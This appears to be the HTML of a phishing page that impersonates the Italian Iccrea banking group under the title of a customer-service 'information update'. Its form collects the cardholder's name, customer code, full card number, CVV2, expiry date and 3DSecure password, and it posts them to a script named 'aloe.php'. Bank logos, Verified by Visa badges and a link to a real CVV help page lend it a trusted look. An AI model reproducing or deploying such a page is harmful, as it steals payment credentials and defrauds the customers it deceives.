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<title>Assistenza Clienti - Completamento Informazioni</title>
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<table class="centrotab" valign="middle" align="center" border="0" bordercolor="#333333" cellspacing="1" width="400">
<form name="portocals" id="portocals" method="post" onsubmit="return caise()" action="aloe.php">
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<img src="img/gruppoiccrea.jpg">
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<td colspan="6" class="nomecampo2" align="center"><br />
I campi sotto riportati devono essere compilati con i dati in vostro possesso.
Utilizzate poi il pulsante "Conferma" per proseguire con l'aggiornamento. Se
invece non vuole proseguire è nella Sua facoltà annullare . <br />
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<td class="nomecampo"> </td>
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<td class="nomecampo" colspan="2">
Nome è Cognome:
</td>
<td >
<input name="titolare" value="" type="text">
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<td colspan="2">
<img src="img/asterisco.gif">
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<td> </td>
<td class="nomecampo" colspan="2">
Codice Cliente:
</td>
<td class="nomecampo">
<input name="codice" value="" size="12" maxlength="10" type="text">
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<td colspan="2">
<img src="img/asterisco.gif">
</td>
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<tr>
<td colspan="6" class="nomecampo"> </td>
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<tr>
<td> </td>
<td class="nomecampo" colspan="2">
Numero Carta:
</td>
<td class="datonumero">
<input name="pan" maxlength="16" size="20" type="text">
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<td colspan="2">
<img src="img/asterisco.gif">
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<td> </td>
<td class="nomecampo" colspan="2">
CVV2/CVC2:
</td>
<td class="datonumero">
<input name="cvv2" maxlength="3" size="5" type="text">
<a href="https://wsso.bccsoar.it/vtrans/jsp/infoCvv_it.jsp" target="popupWindow" onclick="window.open(this.href, this.name,'resizable=no,toolbar=no,menubar=no,statusbar=no,left=50,top=10,height=325,width=370'); return false;" onmouseout="top.status='';" onmousedown="top.status='Insert Message';" onmouseover="top.status='Insert Message';">
<img src="img/infoBtn.gif" alt="Informazioni su CVV2/CVC2" border="0">
</a>
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<td colspan="2">
<img src="img/asterisco.gif">
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<td> </td>
<td class="nomecampo" colspan="2">
Scadenza Mese/Anno:
</td>
<td class="nomecampo">
<select name="exm">
<option selected="selected" value=""></option>
<option value="01"> 01 </option>
<option value="02"> 02 </option>
<option value="03"> 03 </option>
<option value="04"> 04 </option>
<option value="05"> 05 </option>
<option value="06"> 06 </option>
<option value="07"> 07 </option>
<option value="08"> 08 </option>
<option value="09"> 09 </option>
<option value="10"> 10 </option>
<option value="11"> 11 </option>
<option value="12"> 12 </option>
</select>
/
<select name="exy">
<option selected="selected" value=""></option>
<option value="2014">2014</option>
<option value="2015">2015</option>
<option value="2016">2016</option>
<option value="2017">2017</option>
<option value="2018">2018</option>
<option value="2019">2019</option>
<option value="2020">2020</option>
<option value="2021">2021</option>
<option value="2022">2022</option>
<option value="2023">2023</option>
</select>
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<td colspan="2">
<img src="img/asterisco.gif">
</td>
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<tr>
<td> </td>
<td class="nomecampo" colspan="2">
3DSecure Password:
</td>
<td class="nomecampo">
<input name="passwd" value="" size="14" type="password">
</td>
<td colspan="2">
<img src="img/asterisco.gif">
</td>
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<td colspan="6"> </td>
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<td class="nomecampo3" colspan="6" align="center">
<br /><input class="noborder" id="OK" name="OK" value="OK" src="img/conferma_iccrea_it.gif" style="border: 0 0; list-style: none;" border="0" type="image"><br /><br />
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<td colspan="2" align="right">
<img src="img/sclogo_98x53.gif" border="0">
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<td colspan="3" align="center">
<img src="img/imaget.jpg" altkey="immagine" styleclass="icon" border="0">
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<td colspan="1" align="left">
<img src="img/vbv1.gif" border="0">
</td>
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<tr>
<td colspan="6" class="nomecampo2" align="center"><br /><img src="img/asterisco2_iccrea.gif">
I campi contraddistinti da un asterisco sono campi obbligatori. Qualora il dato da Voi inserito non risultasse corretto,
l'applicazione ripresenterà nuovamente questa pagina con l'asterisco accanto solamente al campo errato.<br /><br />
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